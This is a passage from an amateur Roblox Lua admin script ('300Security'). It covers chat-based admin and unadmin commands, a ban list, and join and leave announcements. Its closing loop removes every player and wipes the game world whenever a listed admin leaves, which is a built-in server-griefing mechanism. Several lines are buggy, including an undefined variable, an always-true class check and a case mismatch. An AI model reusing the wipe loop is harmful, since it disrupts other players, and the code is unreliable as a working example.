| 632 | cleanup(2) | |
| 633 | end | |
| 634 | if string.lower(string.sub(msg,1,3 + sym)) == "GUI"..symbol then | |
| 635 | search(string.sub(msg,4+sym)) | |
| 636 | GuiAdmin(result) | |
| 637 | end | |
| 638 | if string.lower(string.sub(msg,1,5+sym)) == "admin"..symbol then | |
| 639 | search(string.sub(msg,6+sym)) | |
| 640 | player = game.Players:FindFirstChild(result) | |
| 641 | table.insert(admins, player.Name) | |
| 642 | alert(result.." Is Now A 300Security Admin") | |
| 643 | cleanup(2) | |
| 644 | end | |
| 645 | if string.lower(string.sub(msg,1,7+sym)) == "unadmin"..symbol then | |
| 646 | search(string.sub(msg,8+sym)) | |
| 647 | player = game.Players:FindFirstChild(result) | |
| 648 | if result~="wierdoguy300" then | |
| 649 | table.remove(admins, player.Name) | |
| 650 | alert(result.." Is No Longer A 300Security Admin") | |
| 651 | cleanup(2) | |
| 652 | end | |
| 653 | end | |
| 654 | end | |
| 655 | ||
| 656 | start = function(new) | |
| 657 | for i=1,#admins do | |
| 658 | if string.lower(new.Name)==string.lower(admins[i]) then | |
| 659 | new.Chatted:connect(function(msg) commands(msg,new) debug(msg,new) end) | |
| 660 | end | |
| 661 | end | |
| 662 | end | |
| 663 | ||
| 664 | game.Players.PlayerAdded:connect(start) | |
| 665 | ||
| 666 | game.Players.PlayerAdded:connect(function(new) | |
| 667 | for i=1,#banned do | |
| 668 | if string.lower(new.Name)==string.lower(banned[i]) then | |
| 669 | alert(new.Name.." Tried To Enter, But Was Banned By 300 Security Admin") | |
| 670 | new:Destroy() | |
| 671 | cleanup(2) | |
| 672 | end | |
| 673 | end | |
| 674 | end) | |
| 675 | ||
| 676 | for i,p in pairs(game.Players:GetPlayers()) do | |
| 677 | start(p) | |
| 678 | end | |
| 679 | ||
| 680 | Workspace.DescendantRemoving:connect(Un_Removeable) | |
| 681 | ||
| 682 | game.Players.PlayerAdded:connect(function(player) | |
| 683 | for i=1,#banned do | |
| 684 | if player.name~=banned[i] then | |
| 685 | alert(player.name.." Has Entered The Server!") | |
| 686 | end | |
| 687 | end | |
| 688 | end) | |
| 689 | ||
| 690 | game.Players.PlayerRemoving:connect(function(player) | |
| 691 | for i=1,#admins do | |
| 692 | if string.lower(player.Name)==string.lower(admins[i]) then | |
| 693 | abplayer = player.Name | |
| 694 | here = false | |
| 695 | end | |
| 696 | end | |
| 697 | alert(player.Name.." Has Left The Server!") | |
| 698 | cleanup(2) | |
| 699 | end) | |
| 700 | ||
| 701 | game.Workspace.DescendantAdded:connect(function(obj) | |
| 702 | if disabled==true then | |
| 703 | dbh = new.name | |
| 704 | new:Destroy() | |
| 705 | alert(dbh.." Was Blocked") | |
| 706 | cleanup(2) | |
| 707 | end | |
| 708 | end) | |
| 709 | ||
| 710 | ||
| 711 | while wait() do | |
| 712 | if here==false then | |
| 713 | for i,p in pairs(game.Players:GetChildren()) do | |
| 714 | for i,w in pairs(game.Workspace:GetChildren()) do | |
| 715 | local m = Instance.new("Message", game.Workspace)
| |
| 716 | m.Text = abplayer.." Has Been Kicked Or Banned, You Will Now Be Punished." | |
| 717 | p:Destroy() | |
| 718 | if w.Classname~="Terrain" or "Camera" then | |
| 719 | w:Destroy() | |
| 720 | m:Destroy() | |
| 721 | end | |
| 722 | end | |
| 723 | end | |
| 724 | end | |
| 725 | end |